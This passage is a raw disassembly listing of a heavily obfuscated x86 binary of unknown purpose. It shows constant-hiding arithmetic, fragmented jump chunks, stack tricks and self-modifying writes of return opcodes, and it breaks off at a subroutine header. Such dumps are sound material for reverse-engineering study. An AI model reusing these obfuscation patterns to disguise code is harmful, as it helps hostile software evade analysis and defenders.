; START	OF FUNCTION CHUNK FOR sub_451E0A

loc_43F3C4:				; CODE XREF: sub_451E0A-12167j
		jmp	nullsub_405
; END OF FUNCTION CHUNK	FOR sub_451E0A
; ---------------------------------------------------------------------------

loc_43F3C9:				; DATA XREF: sub_4427AE+8D05o
		add	ecx, 6CF7DF54h
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_467
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_467
; ---------------------------------------------------------------------------
		push	ecx
		push	7E4B1B66h
		jmp	loc_43C912
; ---------------------------------------------------------------------------

loc_43F3EB:				; CODE XREF: dviuq5id:00443776j
		jl	loc_454026

; =============== S U B	R O U T	I N E =======================================



sub_43F3F1	proc near		; CODE XREF: sub_43D181+1B20Bp

; FUNCTION CHUNK AT 00443154 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00443BC6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044DB0E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00454AA5 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		push	83441BEBh
		pop	eax
		jmp	loc_443BC6
sub_43F3F1	endp

; ---------------------------------------------------------------------------

loc_43F401:				; CODE XREF: dviuq5id:0043BA9Bj
		jbe	loc_451062

; =============== S U B	R O U T	I N E =======================================



sub_43F407	proc near		; CODE XREF: dviuq5id:0043AC8Cp

; FUNCTION CHUNK AT 0043BD4E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004444EF SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	6A1DDC63h
		pop	ecx
		jmp	loc_4444EF
sub_43F407	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43F416:				; CODE XREF: sub_441DDA:loc_43F48Aj
		mov	eax, 272E9BECh
		and	esi, ebp
		jmp	loc_44647E
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		not	ebp
		push	ebp
		jmp	sub_4533E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_43F42A:				; CODE XREF: sub_4442C5:loc_4442D4j
		call	sub_453642
		push	esi
		push	0BEC47B94h
		pop	esi
		sub	esi, 51133605h
		and	esi, 0E0998087h
		jmp	loc_4442E9
; END OF FUNCTION CHUNK	FOR sub_4442C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_43F447:				; CODE XREF: sub_446465:loc_449AF0j
		xchg	edi, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_43F44F:				; CODE XREF: sub_44AB80:loc_4530B5j
		call	sub_44E3BA
		mov	esp, ebp
		pop	ebp
		push	edi
		push	69409545h

loc_43F45D:				; CODE XREF: dviuq5id:004444D9j
		jmp	loc_439C87
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------

loc_43F462:				; CODE XREF: dviuq5id:loc_4427F1j
		jz	loc_440277
		jmp	loc_451315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_43F46D:				; CODE XREF: sub_45844D:loc_449EB2j
		cmp	ds:dword_44DE84, 0
		jnz	loc_440F60
		call	sub_44BA8C
		mov	edx, 0E5254649h
		jmp	loc_444E15
; END OF FUNCTION CHUNK	FOR sub_45844D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_412. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43F48A:				; CODE XREF: sub_441DDA+44DCj
		jmp	loc_43F416
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_43F48F:				; CODE XREF: sub_449222-100F9j
		jmp	loc_456EA8
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43F494:				; CODE XREF: sub_449485-A9F5j
					; sub_449485:loc_4596CFj
		push	0C9225671h
		pop	eax
		xor	eax, 484F2294h
		add	eax, 0A27C69C0h
		add	eax, ebp
		add	eax, 0DC162053h
		jmp	loc_44F1C0
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466B6

loc_43F4B3:				; CODE XREF: sub_4466B6:loc_43A273j
		jz	loc_44DA12
		jmp	loc_43CEA7
; END OF FUNCTION CHUNK	FOR sub_4466B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_43F4BE:				; CODE XREF: sub_43F285:loc_4463CBj
					; sub_43F285+135EFj
		call	sub_456F43
		push	offset loc_453289
		jmp	loc_439A10
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441903

loc_43F4CD:				; CODE XREF: sub_441903:loc_43B227j
		call	sub_449EB7
		call	sub_456F43
		mov	edx, 0CE3062ECh
		call	sub_449EB7
		call	sub_456F43
		jmp	loc_440A1D
; END OF FUNCTION CHUNK	FOR sub_441903
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411B8

loc_43F4EB:				; CODE XREF: sub_4411B8+9j
		push	eax
		mov	eax, edi
		xchg	eax, [esp+0]
		call	sub_459588

loc_43F4F6:				; CODE XREF: dviuq5id:00453307j
		or	ebp, ecx
; END OF FUNCTION CHUNK	FOR sub_4411B8

; =============== S U B	R O U T	I N E =======================================



sub_43F4F8	proc near		; CODE XREF: sub_43E615p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CB38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E3AC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043F8B3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004401D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443444 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044465E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004446CE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044517A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445356 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004466E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AEE1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C3C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00451631 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00451B2B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00453934 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00455F46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457C6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045881E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00459C6F SIZE 00000019 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebp
		jmp	loc_453934
sub_43F4F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_43F502:				; CODE XREF: sub_456B31-1D027j
		rol	ebx, 0Bh

loc_43F505:				; CODE XREF: sub_456B31:loc_439EEEj
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		lea	eax, dword_452360
		push	edx
		mov	edx, eax
		jmp	loc_44F44D
; END OF FUNCTION CHUNK	FOR sub_456B31

; =============== S U B	R O U T	I N E =======================================



sub_43F519	proc near		; CODE XREF: dviuq5id:0043E28Ej
					; sub_44CFBC-7E56p
		xchg	edi, [esp+0]
		pop	edi
		add	edi, 241D7A2h
		mov	[edi], eax
		pop	edi
		lea	eax, sub_458F2A
		mov	byte ptr [eax],	0C3h
		jmp	sub_458F2A
sub_43F519	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F534	proc near		; CODE XREF: sub_41C28D+311p
					; sub_43F534:loc_443587j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00443587 SIZE 00000006 BYTES

		call	sub_44358D
		jmp	loc_443587
sub_43F534	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43F53E:				; CODE XREF: sub_43FDFB+30FBj
		xor	edx, 3EF6579Bh
		call	sub_449EB7
		push	offset loc_43E707
		jmp	nullsub_143
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44124F

loc_43F553:				; CODE XREF: sub_44124F:loc_441259j
		push	edi
		push	37FBE09Dh
		pop	edi
		or	edi, 3CE5607Bh
		add	edi, 0C043B568h
		jmp	loc_4581BA
; END OF FUNCTION CHUNK	FOR sub_44124F
; ---------------------------------------------------------------------------
		jmp	ds:off_41D0B8
; ---------------------------------------------------------------------------

loc_43F571:				; CODE XREF: dviuq5id:0043D9E6j
		jmp	loc_4578D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_43F576:				; CODE XREF: sub_449AA3:loc_43D98Ej
					; sub_445437+9CDFj ...
		jb	loc_449AC0
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_44EC67
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------

loc_43F586:				; CODE XREF: dviuq5id:004443E4j
		cdq
		cmp	edx, edi
		jmp	loc_44D6B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_369. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D5E

loc_43F58F:				; CODE XREF: sub_448D5E+E3BDj
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_448D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_43F594:				; CODE XREF: sub_43B89D:loc_44649Dj
		jz	loc_445867
; END OF FUNCTION CHUNK	FOR sub_43B89D
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_43F59A:				; CODE XREF: sub_44C592+17j
		jmp	loc_43D3E5
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_43F59F:				; CODE XREF: sub_44EAC4-8D17j
		jmp	loc_455E12
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		xor	edi, ebx
		mov	ebx, 4411E49Fh
		not	ebx
		jmp	loc_459AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_43F5B2:				; CODE XREF: sub_44CBA2-E23j
		jz	loc_45902C
		jmp	loc_458A2C
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D814

loc_43F5BD:				; CODE XREF: sub_44D814+BDFAj
		pop	ecx
		and	eax, 0D25DC634h
		xor	eax, 0E850CCC3h
		add	eax, 9724BF9Dh
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		pushf
		jmp	loc_44B365
; END OF FUNCTION CHUNK	FOR sub_44D814

; =============== S U B	R O U T	I N E =======================================



sub_43F5DC	proc near		; CODE XREF: sub_4597E8j
					; DATA XREF: sub_452A73+6D6Bo

; FUNCTION CHUNK AT 004397CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F37A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449F91 SIZE 0000001C BYTES

		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		and	edx, 0AB9BF20Eh
		or	edx, 0E360ECA0h
		jmp	loc_43F37A
sub_43F5DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447698

loc_43F5F3:				; CODE XREF: dviuq5id:0044544Fj
					; sub_447698:loc_457DF9j
		jz	loc_447E3C
		jmp	loc_453DC0
; END OF FUNCTION CHUNK	FOR sub_447698
; ---------------------------------------------------------------------------
		call	sub_43D393

loc_43F603:				; CODE XREF: dviuq5id:004519A2j
		jmp	loc_446030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_43F608:				; CODE XREF: sub_44C07B+5j
		pop	ebp
		jnb	loc_44E633
		mov	eax, [esp+0]
		push	edx
		call	sub_444F0F
		sbb	eax, 3BA6DE85h
		jmp	loc_43AB0B
; END OF FUNCTION CHUNK	FOR sub_44C07B

; =============== S U B	R O U T	I N E =======================================



sub_43F623	proc near		; CODE XREF: dviuq5id:00442EB7j
					; sub_43AEAA+166CEp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044CA39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451DC1 SIZE 00000014 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	4A190A3Fh
		pop	ecx
		xor	ecx, 5F379FD8h
		test	ecx, 800000h
		jmp	loc_44CA39
sub_43F623	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_43F63E:				; CODE XREF: sub_44395C+66EAj
		call	sub_43B3A0
		push	0BBCC1FF9h
		pop	eax
		or	eax, 661CC30Ch
		add	eax, 0F0210017h
		call	sub_44A58C
		push	edx
		jmp	loc_4584D9
; END OF FUNCTION CHUNK	FOR sub_44395C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_43F660:				; CODE XREF: sub_4560AC:loc_44881Aj
		jz	loc_457511
		xor	esi, 596DA268h
		and	ebp, 2FC73DB1h
		jmp	loc_457511
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_43F677:				; CODE XREF: sub_454117-FB7j
		jp	loc_457023
		add	ebp, 407C7258h

loc_43F683:				; CODE XREF: sub_454117:loc_457AD6j
		mov	[ebp-2Ch], eax
		mov	dword ptr [ebp-20h], 1
		jmp	loc_4513E3
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------

loc_43F692:				; CODE XREF: dviuq5id:loc_453709j
		add	eax, ebp
		add	eax, 0EB4AD75h
		push	eax
		call	sub_441C54
		jmp	loc_45421E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_43F6A6:				; CODE XREF: sub_445F35+A177j
		jmp	loc_445DF3
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_43F6AB:				; CODE XREF: sub_45288A-14930j
		jmp	loc_43FBF5
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FD8E

loc_43F6B0:				; CODE XREF: sub_44FD8E-15FE0j
		xor	eax, 88FF8A29h
		add	eax, ebp
		add	eax, 4E81DC3Dh
		mov	eax, [eax]
		popf
		mov	al, [eax]
		push	offset sub_44D022
		jmp	nullsub_317
; END OF FUNCTION CHUNK	FOR sub_44FD8E

; =============== S U B	R O U T	I N E =======================================



sub_43F6CD	proc near		; CODE XREF: dviuq5id:0043ED27j
					; sub_445498:loc_451500j ...

; FUNCTION CHUNK AT 0044D480 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00454008 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		or	ecx, ecx
		jz	loc_43EC62
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_454008
sub_43F6CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43F6E2:				; CODE XREF: sub_43FA59:loc_4562CCj
		ja	loc_4406BD
		jmp	loc_43D9F6
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		sub	eax, edx
		jmp	sub_4426BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_43F6F4:				; CODE XREF: sub_445A59:loc_457826j
		add	eax, 0D257341Bh
		test	eax, 800h
		jmp	loc_451AF3
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
		and	edi, 1E553E98h
		jmp	loc_44C80B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_43F710:				; CODE XREF: sub_4543C5-18147j
		push	2A46FE07h
		pop	ebx
		rol	ebx, 12h
		add	ebx, 0BA862929h
		or	ebx, 0CC2F40E6h
		xor	ebx, 7F45FFFh
		jmp	loc_45A121
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------

loc_43F730:				; CODE XREF: dviuq5id:00444274j
		add	edx, 8C4D86A5h
		mov	[edx], eax
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_443222

loc_43F739:				; CODE XREF: sub_44ADB3+Aj
					; sub_443222:loc_459FF8j
		jno	loc_44A604
		push	0D8B6E776h
		pop	eax
		jmp	loc_44B43A
; END OF FUNCTION CHUNK	FOR sub_443222
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_43F74B:				; CODE XREF: sub_455B54-AFD9j
		jmp	nullsub_223
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------

loc_43F750:				; DATA XREF: sub_44818A-A5F9o
		push	esi
		push	9279F95Fh
		pop	esi
		add	esi, 2DA58798h
		xor	esi, 0C01F80F7h
		xchg	esi, [esp]
		lea	eax, [ebp-4]
		push	eax
		jmp	loc_440700
; ---------------------------------------------------------------------------
		adc	edi, ecx
		jmp	loc_43BFBD
; ---------------------------------------------------------------------------

loc_43F776:				; CODE XREF: dviuq5id:loc_4598A2j
		jle	loc_440186

; =============== S U B	R O U T	I N E =======================================



sub_43F77C	proc near		; CODE XREF: sub_43BDAE+15696p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044ACE4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00452E94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458F1B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		shl	ecx, 12h
		jmp	loc_452E94
sub_43F77C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43F78B:				; CODE XREF: sub_441DDA-E11j
		jnb	loc_453F42

loc_43F791:				; CODE XREF: sub_441DDA:loc_443DEBj
		cmp	dword ptr [ebp-108h], 6C436E6Fh
		jnz	loc_457E67
		jmp	loc_456F91
; END OF FUNCTION CHUNK	FOR sub_441DDA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_330. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4528B3

loc_43F7A7:				; CODE XREF: sub_4528B3+Fj
		jmp	loc_455001
; END OF FUNCTION CHUNK	FOR sub_4528B3
; ---------------------------------------------------------------------------

loc_43F7AC:				; CODE XREF: dviuq5id:0043BE77j
		jmp	sub_43D7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_43F7B1:				; CODE XREF: sub_43EB11+15C64j
		test	edi, ebx
		jmp	loc_448CF2
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_43F7B8:				; CODE XREF: dviuq5id:loc_453172j
					; sub_44846C:loc_456EE0j
		call	sub_43F7C3

locret_43F7BD:				; CODE XREF: dviuq5id:0045317Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_43F7BE:				; CODE XREF: sub_4560AC-A926j
		jmp	loc_44D379
; END OF FUNCTION CHUNK	FOR sub_4560AC

; =============== S U B	R O U T	I N E =======================================



sub_43F7C3	proc near		; CODE XREF: sub_44846C:loc_43F7B8p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043EC62 SIZE 0000000D BYTES

		push	ebx
		push	ecx
		call	sub_43EC6F
		mov	esp, [esp+8]
		jmp	loc_43EC62
sub_43F7C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_43F7D3:				; CODE XREF: sub_443C86:loc_43EE7Fj
		mov	ecx, [ecx]
		call	sub_4543C5

loc_43F7DA:				; CODE XREF: sub_458AF1:loc_449100j
					; sub_458AF1-4B03j
		mov	eax, 0DD960900h
		call	sub_453642

loc_43F7E4:				; CODE XREF: dviuq5id:loc_441177j
		push	edi
		push	8E1E27BCh
		pop	edi
		sub	edi, 8FF9FC02h
		and	edi, 37E94A4Dh
		xor	edi, 938D7C47h
		jmp	loc_449F4F
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C99

loc_43F802:				; CODE XREF: sub_441C99+1062Cj
		xor	ecx, 3228D97Bh
		jmp	loc_459C5C
; END OF FUNCTION CHUNK	FOR sub_441C99
; ---------------------------------------------------------------------------
		mov	eax, 1AABF86Ch
		push	edi
		push	45E240A2h
		xchg	ecx, [esp]

loc_43F81B:				; CODE XREF: dviuq5id:0043EA73j
		jmp	loc_43B1A0

; =============== S U B	R O U T	I N E =======================================



sub_43F820	proc near		; CODE XREF: sub_40456B+40p
					; sub_40FBF7+222p ...
		call	sub_43F83A
		jmp	ds:off_41D1AC
sub_43F820	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_43F82B:				; CODE XREF: sub_44279B:loc_44C58Dj
		jmp	loc_44C951
; END OF FUNCTION CHUNK	FOR sub_44279B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D0D

loc_43F830:				; CODE XREF: sub_440D0D+9E22j
		jmp	loc_44E0E6
; END OF FUNCTION CHUNK	FOR sub_440D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C2A

loc_43F835:				; CODE XREF: sub_449C2A-36F4j
		jmp	loc_43EC79
; END OF FUNCTION CHUNK	FOR sub_449C2A

; =============== S U B	R O U T	I N E =======================================



sub_43F83A	proc near		; CODE XREF: sub_43F820p
					; dviuq5id:00455503j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E0A6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043FE1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440E24 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004447B5 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 004571A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458354 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045936A SIZE 00000005 BYTES

		jns	loc_4447D4
		pop	edx
		jmp	loc_458354
sub_43F83A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458964

loc_43F846:				; CODE XREF: sub_458964-1DBB6j
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_445A59
		mov	eax, 0A11F455Ah
		jmp	loc_44F99B
; END OF FUNCTION CHUNK	FOR sub_458964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43F859:				; CODE XREF: sub_449485+31F4j
		cmp	esi, 0A9D517A5h
		jmp	loc_450A88
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458964

loc_43F864:				; CODE XREF: sub_458964-1DBADj
		push	edx
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		push	4F38A46Dh
		pop	ecx
		xor	ecx, 479EAB6Bh
		jmp	loc_449C81
; END OF FUNCTION CHUNK	FOR sub_458964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E0C

loc_43F87C:				; CODE XREF: sub_439E0C+10j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44F9D7
		jmp	loc_4582EC
; END OF FUNCTION CHUNK	FOR sub_439E0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444ADC

loc_43F88B:				; CODE XREF: sub_444ADC+C56Dj
		jz	sub_4597B9
		jmp	loc_444165
; END OF FUNCTION CHUNK	FOR sub_444ADC
; ---------------------------------------------------------------------------

loc_43F896:				; DATA XREF: sub_45815A+Co
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		push	0C741C5D5h
		jmp	loc_444978
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_277. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	ebx, 99479DF7h
		pushf
		jmp	sub_44818A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_43F8B3:				; CODE XREF: sub_43F4F8+5E64j
		ja	loc_456021
		jle	sub_452E67
		jns	loc_442AD8
		or	esi, 0EFE41678h
		xor	ecx, ebx

loc_43F8CD:				; CODE XREF: sub_43F4F8:loc_443444j
		push	233CC8D2h
		jmp	loc_43E3AC
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------

loc_43F8D7:				; CODE XREF: dviuq5id:0045260Aj
		or	eax, 0F7E872E6h
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_43F8DD:				; CODE XREF: sub_44514D:loc_4525FDj
		or	eax, 10D0932Bh
		and	eax, 6F47C5F0h
		or	eax, 85CC0DE9h
		add	eax, 7074749Fh
		mov	eax, [eax]
		jmp	loc_4511B9
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D2A8

loc_43F8FC:				; CODE XREF: sub_44D2A8+8F95j
		rol	ebx, 0Eh

loc_43F8FF:				; CODE XREF: sub_44D2A8:loc_4401A7j
		lea	edx, [ebp-14h]
		mov	eax, offset dword_453D1C

loc_43F907:				; CODE XREF: sub_43FA59:loc_44500Ej
		push	esi
		push	offset sub_459848
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_44D2A8
; ---------------------------------------------------------------------------

loc_43F912:				; CODE XREF: dviuq5id:004506DFj
		xchg	ebp, ecx
		mov	[ebp+0], ecx
		adc	ecx, ebp
		shl	ebx, 0Dh

loc_43F91C:				; CODE XREF: dviuq5id:loc_4506D2j
		add	edx, 6F5D7C87h
		and	edx, 0D327F3C5h
		add	edx, 0C03E9083h
		mov	[edx], eax
		jmp	loc_44DF14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A54F

loc_43F935:				; CODE XREF: sub_43A54F:loc_43DD1Dj
		js	loc_44F42D

loc_43F93B:				; CODE XREF: dviuq5id:0044EC21j
		jmp	loc_4517AB
; END OF FUNCTION CHUNK	FOR sub_43A54F
; ---------------------------------------------------------------------------
		test	esi, ebx
		jmp	loc_43EC16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43F947:				; CODE XREF: sub_44B2EA-EC38j
		jz	loc_45A2F4
		jmp	loc_456910
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43F952:				; CODE XREF: sub_446682+FD23j
		and	ecx, 44334034h
		add	ecx, 0BC20D04Ch
		mov	[ecx], eax
		pop	ecx
		jmp	loc_452351
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442437

loc_43F966:				; CODE XREF: sub_442437:loc_4592D2j
		mov	ecx, eax
		call	sub_448B23

loc_43F96D:				; CODE XREF: dviuq5id:0044ED1Ej
		jmp	nullsub_358
; END OF FUNCTION CHUNK	FOR sub_442437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_43F972:				; CODE XREF: sub_44C07B-CE4Aj
		jmp	loc_43E218
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
		sbb	ebx, eax
		jmp	sub_43D514
; ---------------------------------------------------------------------------

loc_43F97E:				; CODE XREF: dviuq5id:004435C0j
		js	loc_4594CB
		or	ecx, 0D887DD39h
		add	eax, edx
		ror	ebx, 1Ch
		jmp	loc_4429EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_43F994:				; CODE XREF: sub_4452A6:loc_44309Cj
		push	offset loc_440163
		jmp	nullsub_202
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B6C3

loc_43F99E:				; CODE XREF: sub_43B6C3+9j
		pop	ecx
		rol	ecx, 9

loc_43F9A2:				; CODE XREF: dviuq5id:loc_459B39j
		add	ecx, 360E9B19h
		sub	ecx, 84DFBC15h
		rol	ecx, 6
		add	ecx, 0AE7EFAB8h
		jmp	loc_44F448
; END OF FUNCTION CHUNK	FOR sub_43B6C3

; =============== S U B	R O U T	I N E =======================================



sub_43F9BC	proc near		; CODE XREF: dviuq5id:00439B18j
